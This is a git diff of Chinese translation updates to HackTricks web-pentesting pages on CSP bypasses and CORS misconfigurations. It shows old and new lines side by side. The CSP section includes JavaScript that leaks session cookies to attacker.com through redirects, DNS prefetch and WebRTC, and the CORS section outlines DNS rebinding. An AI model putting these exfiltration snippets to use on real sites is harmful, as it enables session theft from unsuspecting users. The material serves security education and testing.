-在[**这个CTF解密**](https://github.com/aszx87410/ctf-writeups/issues/48)中,通过**HTML注入**可以更加**限制**一个**CSP**,因此禁用了防止CSTI的脚本,从而使**漏洞变得可利用。**\ -可以使用**HTML meta标签**使CSP更加严格,并且可以通过**删除**允许它们的**nonce**和**通过sha启用特定的内联脚本**来禁用内联脚本: +在[**这个CTF写作**](https://github.com/aszx87410/ctf-writeups/issues/48)中,通过**HTML注入**可以**进一步限制**一个**CSP**,从而禁用防止CSTI的脚本,因此**漏洞变得可利用。**\ +可以使用**HTML元标签**使CSP变得更加严格,并且可以通过**移除**允许其**nonce**的**入口**来禁用内联脚本,并通过sha**启用特定的内联脚本**: ```html ``` -### 使用 Content-Security-Policy-Report-Only 进行 JS 数据泄露 +### JS exfiltration with Content-Security-Policy-Report-Only -如果你能够让服务器响应头部 **`Content-Security-Policy-Report-Only`** 的值**由你控制**(可能是因为 CRLF),你可以让它指向你的服务器,如果你**用** **``中,请注意此**脚本**将被**加载**,因为它被'`self`'允许。此外,由于WordPress已安装,攻击者可能会通过**绕过CSP**的**易受攻击的回调**端点滥用**SOME攻击**,以赋予用户更多权限,安装新插件...\ +攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入``中,请注意这个**脚本**将被**加载**,因为它是**被'self'允许的**。此外,由于安装了WordPress,攻击者可能会通过**易受攻击的****回调**端点滥用**SOME攻击**,该端点**绕过CSP**以给予用户更多权限,安装新插件...\ 有关如何执行此攻击的更多信息,请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) -## CSP数据泄漏绕过 +## CSP Exfiltration Bypasses -如果存在严格的CSP不允许您与外部服务器**交互**,则总有一些方法可以始终用于泄露信息。 +如果存在严格的CSP,不允许您**与外部服务器交互**,则始终可以做一些事情来提取信息。 ### Location -您可以简单地更新位置以将秘密信息发送到攻击者的服务器: +您可以仅更新位置以将秘密信息发送到攻击者的服务器: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` -### Meta标签 +### Meta tag -您可以通过注入一个meta标签来进行重定向(这只是一个重定向,不会泄露内容) +您可以通过注入元标签进行重定向(这只是重定向,不会泄露内容) ```html ``` ### DNS Prefetch -为了加快页面加载速度,浏览器会预先将主机名解析为 IP 地址并缓存以备后用。\ +为了更快地加载页面,浏览器将预先解析主机名为IP地址并将其缓存以供后续使用。\ 您可以通过以下方式指示浏览器预解析主机名:`` -您可以利用这种行为通过 DNS 请求**泄露敏感信息**: +您可以利用这种行为来**通过DNS请求泄露敏感信息**: ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; @@ -720,7 +703,7 @@ linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` -为了避免这种情况发生,服务器可以发送以下HTTP头部: +为了避免这种情况发生,服务器可以发送HTTP头: ``` X-DNS-Prefetch-Control: off ``` @@ -730,9 +713,9 @@ X-DNS-Prefetch-Control: off ### WebRTC -在一些页面上,你可以看到**WebRTC不检查CSP的`connect-src`策略**。 +在几个页面上你可以看到**WebRTC不检查CSP的`connect-src`策略**。 -实际上,你可以使用_DNS请求_来泄露信息。查看以下代码: +实际上,你可以通过一个_DNS请求_来_泄露_信息。看看这段代码: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` @@ -748,12 +731,12 @@ var pc = new RTCPeerConnection({ }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` -## 在线检查CSP策略 +## 检查 CSP 策略在线 * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## 自动创建CSP +## 自动创建 CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) @@ -771,29 +754,30 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
-加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流! +加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流! **黑客见解**\ -参与深入探讨黑客活动的刺激和挑战 +参与深入探讨黑客的刺激与挑战的内容 **实时黑客新闻**\ -通过实时新闻和见解了解快节奏的黑客世界 +通过实时新闻和见解,跟上快速变化的黑客世界 **最新公告**\ -了解最新的赏金任务发布和重要平台更新 +了解最新的漏洞赏金计划和重要平台更新 -**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作! +**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶尖黑客合作! + +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/pentesting-web/cors-bypass.md b/pentesting-web/cors-bypass.md index 9a8969e38..d33730ba5 100644 --- a/pentesting-web/cors-bypass.md +++ b/pentesting-web/cors-bypass.md @@ -1,53 +1,54 @@ -# CORS - 配置错误和绕过 +# CORS - Misconfigurations & Bypass + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
+{% endhint %}
{% embed url="https://websec.nl/" %} -## 什么是CORS? +## 什么是 CORS? -跨源资源共享(CORS)标准**允许服务器定义谁可以访问它们的资源**以及**允许外部来源使用哪些HTTP请求方法**。 +跨源资源共享 (CORS) 标准 **使服务器能够定义谁可以访问其资产** 和 **哪些 HTTP 请求方法被允许** 来自外部来源。 -**同源策略**要求**请求资源的服务器**和**托管资源的服务器**共享相同的协议(例如,`http://`)、域名(例如,`internal-web.com`)和**端口**(例如,80)。根据此策略,只有来自相同域和端口的网页才被允许访问资源。 +**同源** 策略要求 **请求** 资源的服务器和托管 **资源** 的服务器共享相同的协议(例如,`http://`)、域名(例如,`internal-web.com`)和 **端口**(例如,80)。在此策略下,仅允许来自同一域和端口的网页访问资源。 -在`http://normal-website.com/example/example.html`上下文中应用同源策略的示例如下: +在 `http://normal-website.com/example/example.html` 的上下文中,同源策略的应用如下所示: -| 访问的URL | 允许访问? | -| ----------------------------------------- | --------------------------------------- | -| `http://normal-website.com/example/` | 是: 相同的协议、域和端口 | -| `http://normal-website.com/example2/` | 是: 相同的协议、域和端口 | -| `https://normal-website.com/example/` | 否: 不同的协议和端口 | -| `http://en.normal-website.com/example/` | 否: 不同的域 | -| `http://www.normal-website.com/example/` | 否: 不同的域 | -| `http://normal-website.com:8080/example/` | 否: 不同的端口\* | +| 访问的 URL | 是否允许访问? | +| ----------------------------------------- | ------------------------------------- | +| `http://normal-website.com/example/` | 是:相同的协议、域名和端口 | +| `http://normal-website.com/example2/` | 是:相同的协议、域名和端口 | +| `https://normal-website.com/example/` | 否:不同的协议和端口 | +| `http://en.normal-website.com/example/` | 否:不同的域名 | +| `http://www.normal-website.com/example/` | 否:不同的域名 | +| `http://normal-website.com:8080/example/` | 否:不同的端口\* | -\*Internet Explorer忽略端口号以执行同源策略,因此允许此访问。 +\*Internet Explorer 在执行同源策略时忽略端口号,因此允许此访问。 -### `Access-Control-Allow-Origin` 头部 +### `Access-Control-Allow-Origin` 头 -此头部可以允许**多个来源**、一个**`null`**值,或一个通配符**`*`**。然而,**没有浏览器支持多个来源**,并且使用通配符`*`受到**限制**。(通配符必须单独使用,不允许与`Access-Control-Allow-Credentials: true`一起使用。) +此头可以允许 **多个源**、**`null`** 值或通配符 **`*`**。然而,**没有浏览器支持多个源**,并且使用通配符 `*` 受到 **限制**。(通配符必须单独使用,且与 `Access-Control-Allow-Credentials: true` 一起使用是不允许的。) -此头部是**由服务器发出**,以响应网站发起的跨域资源请求,浏览器会自动添加一个`Origin`头部。 +此头是 **由服务器发出** 的,以响应由网站发起的跨域资源请求,浏览器会自动添加 `Origin` 头。 -### `Access-Control-Allow-Credentials` 头部 +### `Access-Control-Allow-Credentials` 头 -**默认情况下**,跨源请求不会携带像cookie或Authorization头部这样的凭据。然而,跨域服务器可以通过将`Access-Control-Allow-Credentials`头部设置为**`true`**来允许在发送凭据时读取响应。 +**默认情况下**,跨源请求是在没有凭据(如 cookies 或 Authorization 头)的情况下进行的。然而,跨域服务器可以通过将 `Access-Control-Allow-Credentials` 头设置为 **`true`** 来允许在发送凭据时读取响应。 -如果设置为`true`,浏览器将传输凭据(cookie、授权头部或TLS客户端证书)。 +如果设置为 `true`,浏览器将传输凭据(cookies、授权头或 TLS 客户端证书)。 ```javascript var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { @@ -78,13 +79,13 @@ xhr.send('Arun'); ### 理解跨域通信中的预检请求 -在特定条件下发起跨域请求,比如使用**非标准的 HTTP 方法**(除了 HEAD、GET、POST 之外的任何方法)、引入新的**头部**,或者使用特殊的**Content-Type 头部值**,可能需要进行预检请求。这个初步请求利用**`OPTIONS`**方法,用来告知服务器即将到来的跨域请求的意图,包括打算使用的 HTTP 方法和头部。 +在特定条件下发起跨域请求时,例如使用 **非标准 HTTP 方法**(除了 HEAD、GET、POST 以外的任何方法)、引入新的 **头部**,或使用特殊的 **Content-Type 头部值**,可能需要进行预检请求。这个初步请求利用 **`OPTIONS`** 方法,旨在通知服务器即将到来的跨源请求的意图,包括它打算使用的 HTTP 方法和头部。 -**跨域资源共享(CORS)**协议规定了这种预检查,以确定请求的跨域操作的可行性,通过验证允许的方法、头部以及来源的可信度。要详细了解哪些条件可以避免需要进行预检请求,请参考[**Mozilla 开发者网络(MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)提供的全面指南。 +**跨源资源共享 (CORS)** 协议要求进行此预检检查,以确定请求的跨源操作的可行性,通过验证允许的方法、头部和来源的可信度。有关哪些条件可以绕过预检请求的详细理解,请参考 [**Mozilla 开发者网络 (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) 提供的综合指南。 -需要注意的是,**缺少预检请求并不意味着响应不需要携带授权头部**。没有这些头部,浏览器将无法处理来自跨域请求的响应。 +需要注意的是,**缺少预检请求并不意味着响应不需要携带授权头部**。没有这些头部,浏览器将无法处理来自跨源请求的响应。 -考虑下面这个旨在使用`PUT`方法和自定义头部`Special-Request-Header`的预检请求示例: +考虑以下示例,展示了一个旨在使用 `PUT` 方法和名为 `Special-Request-Header` 的自定义头部的预检请求: ``` OPTIONS /info HTTP/1.1 Host: example2.com @@ -93,7 +94,7 @@ Origin: https://example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Authorization ``` -在响应中,服务器可能会返回指示接受的方法、允许的来源以及其他 CORS 策略细节的标头,如下所示: +在响应中,服务器可能会返回指示接受的方法、允许的来源和其他CORS政策细节的头部,如下所示: ```markdown HTTP/1.1 204 No Content ... @@ -103,22 +104,22 @@ Access-Control-Allow-Headers: Authorization Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240 ``` -* **`Access-Control-Allow-Headers`**: 该标头指定了实际请求中可以使用哪些标头。服务器设置此标头以指示来自客户端的请求中允许的标头。 -* **`Access-Control-Expose-Headers`**: 通过此标头,服务器通知客户端除了简单响应标头之外哪些标头可以作为响应的一部分公开。 -* **`Access-Control-Max-Age`**: 该标头指示预检请求的结果可以被缓存多长时间。服务器设置预检请求返回的信息可以被重用的最长时间(以秒为单位)。 -* **`Access-Control-Request-Headers`**: 在预检请求中使用,此标头由客户端设置,以通知服务器客户端希望在实际请求中使用哪些 HTTP 标头。 -* **`Access-Control-Request-Method`**: 该标头也在预检请求中使用,由客户端设置以指示实际请求中将使用的 HTTP 方法。 -* **`Origin`**: 该标头由浏览器自动设置,指示跨源请求的来源。服务器使用它来评估根据 CORS 策略是否应允许或拒绝传入请求。 +* **`Access-Control-Allow-Headers`**: 此头部指定在实际请求中可以使用哪些头部。它由服务器设置,以指示来自客户端的请求中允许的头部。 +* **`Access-Control-Expose-Headers`**: 通过此头部,服务器通知客户端哪些头部可以作为响应的一部分被暴露,除了简单的响应头部。 +* **`Access-Control-Max-Age`**: 此头部指示预检请求的结果可以被缓存多长时间。服务器设置预检请求返回的信息可以重用的最大时间(以秒为单位)。 +* **`Access-Control-Request-Headers`**: 在预检请求中使用,此头部由客户端设置,以通知服务器客户端希望在实际请求中使用哪些HTTP头部。 +* **`Access-Control-Request-Method`**: 此头部也在预检请求中使用,由客户端设置,以指示在实际请求中将使用哪个HTTP方法。 +* **`Origin`**: 此头部由浏览器自动设置,指示跨源请求的来源。服务器使用它来评估根据CORS策略是否应允许或拒绝传入请求。 -请注意,通常(取决于内容类型和设置的标头),在 **GET/POST 请求中不会发送预检请求**(请求会 **直接** 发送),但如果要访问响应的 **标头/主体**,它必须包含一个允许的 _Access-Control-Allow-Origin_ 标头。\ -**因此,CORS 不能防御 CSRF(但可能有所帮助)。** +请注意,通常情况下(取决于内容类型和设置的头部)在**GET/POST请求中不会发送预检请求**(请求是**直接**发送的),但如果您想访问**响应的头部/主体**,它必须包含一个允许的 _Access-Control-Allow-Origin_ 头部。\ +**因此,CORS并不能防止CSRF(但它可能有帮助)。** ### **本地网络请求预检请求** -1. **`Access-Control-Request-Local-Network`**: 此标头包含在客户端请求中,表示查询针对本地网络资源。它作为一个标记,通知服务器请求源自本地网络。 -2. **`Access-Control-Allow-Local-Network`**: 作为响应,服务器使用此标头来传达所请求资源允许与本地网络之外的实体共享。它充当资源跨不同网络边界共享的绿灯,确保在维护安全协议的同时控制访问。 +1. **`Access-Control-Request-Local-Network`**: 此头部包含在客户端的请求中,以表明该请求是针对本地网络资源的。它作为一个标记,通知服务器请求源自本地网络内。 +2. **`Access-Control-Allow-Local-Network`**: 作为响应,服务器使用此头部来传达请求的资源被允许与本地网络外的实体共享。它作为跨不同网络边界共享资源的绿灯,确保在维护安全协议的同时实现受控访问。 -**允许本地网络请求的有效响应** 还需要在响应中包含标头 `Access-Controls-Allow-Local_network: true`: +一个**有效的响应允许本地网络请求**还需要在响应中包含头部 `Access-Controls-Allow-Local_network: true` : ``` HTTP/1.1 200 OK ... @@ -130,22 +131,22 @@ Content-Length: 0 ... ``` {% hint style="warning" %} -请注意,Linux **0.0.0.0** IP 地址可用于**绕过**这些要求,以访问本地主机,因为该 IP 地址不被视为“本地”。 +注意,linux **0.0.0.0** IP 可以用来 **绕过** 这些要求以访问 localhost,因为该 IP 地址不被视为“本地”。 -如果使用**本地端点的公共 IP 地址**(如路由器的公共 IP 地址),也可以**绕过本地网络要求**。因为在多种情况下,即使正在访问**公共 IP**,如果是**来自本地网络**,访问也将被授予。 +如果使用 **本地端点的公共 IP 地址**(如路由器的公共 IP),也可以 **绕过本地网络要求**。因为在多种情况下,即使正在访问 **公共 IP**,如果是 **来自本地网络**,也会被允许访问。 {% endhint %} -## 可利用的配置错误 +## 可利用的错误配置 -观察到将 `Access-Control-Allow-Credentials` 设置为**`true`**是大多数**真实攻击**的先决条件。此设置允许浏览器发送凭据并读取响应,增强了攻击的有效性。如果没有这一设置,让浏览器发出请求而不是自己发出请求的好处将减弱,因为利用用户的 cookie 将变得不可行。 +已观察到将 `Access-Control-Allow-Credentials` 设置为 **`true`** 是大多数 **真实攻击** 的前提条件。此设置允许浏览器发送凭据并读取响应,从而增强攻击的有效性。如果没有这个,浏览器发出请求的好处就会减少,因为利用用户的 cookies 变得不可行。 -### 异常情况:利用网络位置作为身份验证 +### 例外:利用网络位置作为认证 -存在一种异常情况,即受害者的网络位置充当身份验证形式。这允许利用受害者的浏览器作为代理,绕过基于 IP 的身份验证以访问内部网络应用程序。这种方法在影响上与 DNS 重绑定类似,但更容易利用。 +存在一个例外情况,即受害者的网络位置作为一种认证形式。这允许受害者的浏览器作为代理使用,绕过基于 IP 的认证以访问内网应用程序。这种方法在影响上与 DNS 重新绑定相似,但更容易利用。 -### 在 `Access-Control-Allow-Origin` 中反射 `Origin` +### `Origin` 在 `Access-Control-Allow-Origin` 中的反射 -实际情况中,`Origin` 标头的值在 `Access-Control-Allow-Origin` 中反映的情况在理论上是不太可能的,因为这些标头的组合受到限制。然而,寻求为多个 URL 启用 CORS 的开发人员可能通过复制 `Origin` 标头的值来动态生成 `Access-Control-Allow-Origin` 标头。这种方法可能会引入漏洞,特别是当攻击者使用一个旨在看起来合法的域名时,从而欺骗验证逻辑。 +在现实场景中,`Origin` 头的值反射在 `Access-Control-Allow-Origin` 中在理论上是不太可能的,因为对这些头的组合有限制。然而,寻求为多个 URL 启用 CORS 的开发者可能会通过复制 `Origin` 头的值动态生成 `Access-Control-Allow-Origin` 头。这种方法可能引入漏洞,特别是当攻击者使用一个看似合法的域名时,从而欺骗验证逻辑。 ```html ``` -## 绕过 +## Bypass -### XSSI (跨站点脚本包含) / JSONP +### XSSI (Cross-Site Script Inclusion) / JSONP -XSSI,也称为跨站点脚本包含,是一种利用脚本标签包含资源时同源策略(SOP)不适用的漏洞类型。这是因为脚本需要能够从不同的域中包含。这种漏洞允许攻击者访问和读取使用脚本标签包含的任何内容。 +XSSI,也称为跨站脚本包含,是一种利用同源策略(SOP)在使用脚本标签包含资源时不适用的漏洞。这是因为脚本需要能够从不同域包含。这种漏洞允许攻击者访问和读取任何通过脚本标签包含的内容。 -当涉及到动态JavaScript或JSONP(带填充的JSON)时,特别是当使用像 cookies 这样的环境权限信息进行身份验证时,这种漏洞变得特别重要。当从不同主机请求资源时,cookies 会被包含,使它们对攻击者可访问。 +当涉及到动态JavaScript或JSONP(带填充的JSON)时,这种漏洞尤其重要,特别是当使用像cookies这样的环境权限信息进行身份验证时。当从不同主机请求资源时,cookies会被包含,使攻击者可以访问。 -为了更好地理解和减轻这种漏洞,您可以使用 [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) 上提供的 BurpSuite 插件。该插件可以帮助识别和解决您的 Web 应用程序中潜在的 XSSI 漏洞。 +为了更好地理解和缓解这种漏洞,您可以使用可在[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)找到的BurpSuite插件。该插件可以帮助识别和解决您Web应用程序中的潜在XSSI漏洞。 -[**在此处阅读有关不同类型 XSSI 及如何利用它们的更多信息。**](xssi-cross-site-script-inclusion.md) +[**在这里阅读有关不同类型的XSSI及其利用方式的更多信息。**](xssi-cross-site-script-inclusion.md) -尝试在请求中添加一个 **`callback`** **参数**。也许页面已准备将数据发送为 JSONP。在这种情况下,页面将以 `Content-Type: application/javascript` 返回数据,从而绕过 CORS 策略。 +尝试在请求中添加一个**`callback`** **参数**。也许页面准备将数据作为JSONP发送。在这种情况下,页面将以`Content-Type: application/javascript`返回数据,从而绕过CORS策略。 ![](<../.gitbook/assets/image (856).png>) -### 简单(无用?)绕过 +### Easy (useless?) bypass -绕过 `Access-Control-Allow-Origin` 限制的一种方法是请求 Web 应用程序代表您发出请求并返回响应。然而,在这种情况下,由于请求是发送到不同的域,最终受害者的凭据不会被发送。 +绕过`Access-Control-Allow-Origin`限制的一种方法是请求Web应用程序代表您发出请求并发送回响应。然而,在这种情况下,最终受害者的凭据不会被发送,因为请求是发往不同的域。 -1. [**CORS-escape**](https://github.com/shalvah/cors-escape):该工具提供了一个代理,转发您的请求及其标头,同时欺骗 Origin 标头以匹配请求的域。这有效地绕过了 CORS 策略。以下是使用 XMLHttpRequest 的示例用法: -2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape):该工具提供了另一种代理请求的替代方法。服务器不会原样传递您的请求,而是使用指定的参数发出自己的请求。 +1. [**CORS-escape**](https://github.com/shalvah/cors-escape):该工具提供一个代理,转发您的请求及其头,同时伪造Origin头以匹配请求的域。这有效地绕过了CORS政策。以下是使用XMLHttpRequest的示例: +2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape):该工具提供了一种替代的请求代理方法。服务器不是直接传递您的请求,而是使用指定的参数发出自己的请求。 -### Iframe + Popup 绕过 +### Iframe + Popup Bypass -您可以通过**创建一个 iframe**,**然后从中打开一个新窗口**来**绕过 CORS 检查**,例如 `e.origin === window.origin`。有关更多信息,请参阅以下页面: +您可以通过**创建一个iframe**并**从中打开一个新窗口**来**绕过CORS检查**,例如`e.origin === window.origin`。更多信息请参见以下页面: {% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} [iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md) {% endcontent-ref %} -### 通过 TTL 进行 DNS 重绑定 +### DNS Rebinding via TTL -通过 TTL 进行 DNS 重绑定是一种绕过某些安全措施的技术,方法是操纵 DNS 记录。其工作原理如下: +通过TTL进行DNS重绑定是一种通过操纵DNS记录来绕过某些安全措施的技术。其工作原理如下: -1. 攻击者创建一个网页,使受害者访问它。 -2. 然后,攻击者更改自己域的 DNS(IP)指向受害者的网页。 -3. 受害者的浏览器缓存 DNS 响应,其中可能有 TTL(生存时间)值,指示 DNS 记录应被视为有效的时间。 -4. 当 TTL 到期时,受害者的浏览器会发出新的 DNS 请求,允许攻击者在受害者的页面上执行 JavaScript 代码。 -5. 通过控制受害者的 IP,攻击者可以从受害者那里获取信息,而无需向受害者服务器发送任何 cookies。 +1. 攻击者创建一个网页并使受害者访问它。 +2. 攻击者然后更改其域的DNS(IP)以指向受害者的网页。 +3. 受害者的浏览器缓存DNS响应,可能具有TTL(生存时间)值,指示DNS记录应被视为有效的时间。 +4. 当TTL过期时,受害者的浏览器发出新的DNS请求,允许攻击者在受害者的页面上执行JavaScript代码。 +5. 通过保持对受害者IP的控制,攻击者可以在不向受害者服务器发送任何cookies的情况下收集受害者的信息。 -需要注意的是,浏览器具有缓存机制,即使 TTL 值较低,也可能阻止立即滥用此技术。 +需要注意的是,浏览器具有缓存机制,可能会阻止立即滥用此技术,即使TTL值较低。 -DNS 重绑定可用于绕过受害者执行的显式 IP 检查,或者用于用户或机器人在同一页面停留较长时间的情况,从而使缓存过期。 +DNS重绑定对于绕过受害者执行的显式IP检查或用户或机器人在同一页面上停留较长时间的场景非常有用,从而允许缓存过期。 -如果您需要快速滥用 DNS 重绑定,可以使用 [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) 等服务。 +如果您需要快速滥用DNS重绑定,可以使用像[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)这样的服务。 -要运行自己的 DNS 重绑定服务器,您可以利用 **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) 等工具。这涉及暴露本地端口 53/udp,创建指向它的 A 记录(例如,ns.example.com),并创建指向先前创建的 A 子域的 NS 记录(例如,ns.example.com)。然后,ns.example.com 子域的任何子域都将由您的主机解析。 +要运行自己的DNS重绑定服务器,您可以使用像**DNSrebinder**([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))这样的工具。这涉及到暴露您的本地端口53/udp,创建一个指向它的A记录(例如,ns.example.com),并创建一个指向先前创建的A子域的NS记录(例如,ns.example.com)。ns.example.com子域的任何子域将由您的主机解析。 -您还可以在 [http://rebind.it/singularity.html](http://rebind.it/singularity.html) 上探索一个公开运行的服务器,以进一步了解和实验。 +您还可以访问[http://rebind.it/singularity.html](http://rebind.it/singularity.html)上的公共运行服务器以进一步理解和实验。 -### 通过 **DNS 缓存洪泛** 进行 DNS 重绑定 +### DNS Rebinding via **DNS Cache Flooding** -通过 DNS 缓存洪泛进行 DNS 重绑定是另一种绕过浏览器缓存机制并强制进行第二个 DNS 请求的技术。其工作原理如下: +通过DNS缓存洪水进行DNS重绑定是另一种用于绕过浏览器缓存机制并强制第二个DNS请求的技术。其工作原理如下: -1. 最初,当受害者发出 DNS 请求时,会收到攻击者的 IP 地址作为响应。 -2. 为了绕过缓存防御,攻击者利用服务工作者。服务工作者会洪泛 DNS 缓存,有效地删除了缓存的攻击者服务器名称。 -3. 当受害者的浏览器发出第二个 DNS 请求时,现在会收到 IP 地址 127.0.0.1,通常指向本地主机。 +1. 最初,当受害者发出DNS请求时,响应为攻击者的IP地址。 +2. 为了绕过缓存防御,攻击者利用服务工作者。服务工作者洪水式地填充DNS缓存,这有效地删除了缓存的攻击者服务器名称。 +3. 当受害者的浏览器发出第二个DNS请求时,现在响应为IP地址127.0.0.1,这通常指的是本地主机。 -通过使用服务工作者洪泛 DNS 缓存,攻击者可以操纵 DNS 解析过程,并迫使受害者的浏览器发出第二个请求,这次解析为攻击者所需的 IP 地址。 +通过使用服务工作者洪水填充DNS缓存,攻击者可以操纵DNS解析过程并强制受害者的浏览器发出第二个请求,这次解析为攻击者所需的IP地址。 -### 通过 **缓存** 进行 DNS 重绑定 +### DNS Rebinding via **Cache** -绕过缓存防御的另一种方法是利用 DNS 提供商为同一子域提供多个 IP 地址。其工作原理如下: +绕过缓存防御的另一种方法是利用DNS提供商中同一子域的多个IP地址。其工作原理如下: -1. 攻击者为 DNS 提供商的同一子域设置两个 A 记录(或一个具有两个 IP 的 A 记录)。 -2. 当浏览器检查这些记录时,会收到两个 IP 地址。 -3. 如果浏览器决定首先使用攻击者的 IP 地址,攻击者可以提供执行 HTTP 请求到同一域的有效载荷。 -4. 但是,一旦攻击者获得受害者的 IP 地址,他们将停止响应受害者的浏览器。 -5. 当受害者的浏览器意识到域名无响应时,会继续使用给定的第二个 IP 地址。 -6. 通过访问第二个 IP 地址,浏览器绕过了同源策略(SOP),允许攻击者滥用此功能并获取和外泄信息。 +1. 攻击者在DNS提供商中为同一子域设置两个A记录(或一个具有两个IP的A记录)。 +2. 当浏览器检查这些记录时,它接收到两个IP地址。 +3. 如果浏览器决定首先使用攻击者的IP地址,攻击者可以提供一个有效载荷,执行对同一域的HTTP请求。 +4. 然而,一旦攻击者获得受害者的IP地址,他们就停止响应受害者的浏览器。 +5. 受害者的浏览器在意识到该域无响应后,转而使用第二个给定的IP地址。 +6. 通过访问第二个IP地址,浏览器绕过同源策略(SOP),允许攻击者滥用这一点并收集和外泄信息。 -该技术利用了浏览器在为域提供多个 IP 地址时的行为。通过策略性地控制响应并操纵浏览器选择的 IP 地址,攻击者可以利用 SOP 并从受害者那里访问信息。 +该技术利用了浏览器在为域提供多个IP地址时的行为。通过战略性地控制响应并操纵浏览器的IP地址选择,攻击者可以利用SOP并访问受害者的信息。 {% hint style="warning" %} -请注意,为了访问 localhost,您应尝试在 Windows 中重新绑定 **127.0.0.1**,在 Linux 中重新绑定 **0.0.0.0**。\ -像 godaddy 或 cloudflare 这样的提供商不允许我使用 IP 0.0.0.0,但 AWS route53 允许我创建一个具有 2 个 IP 的 A 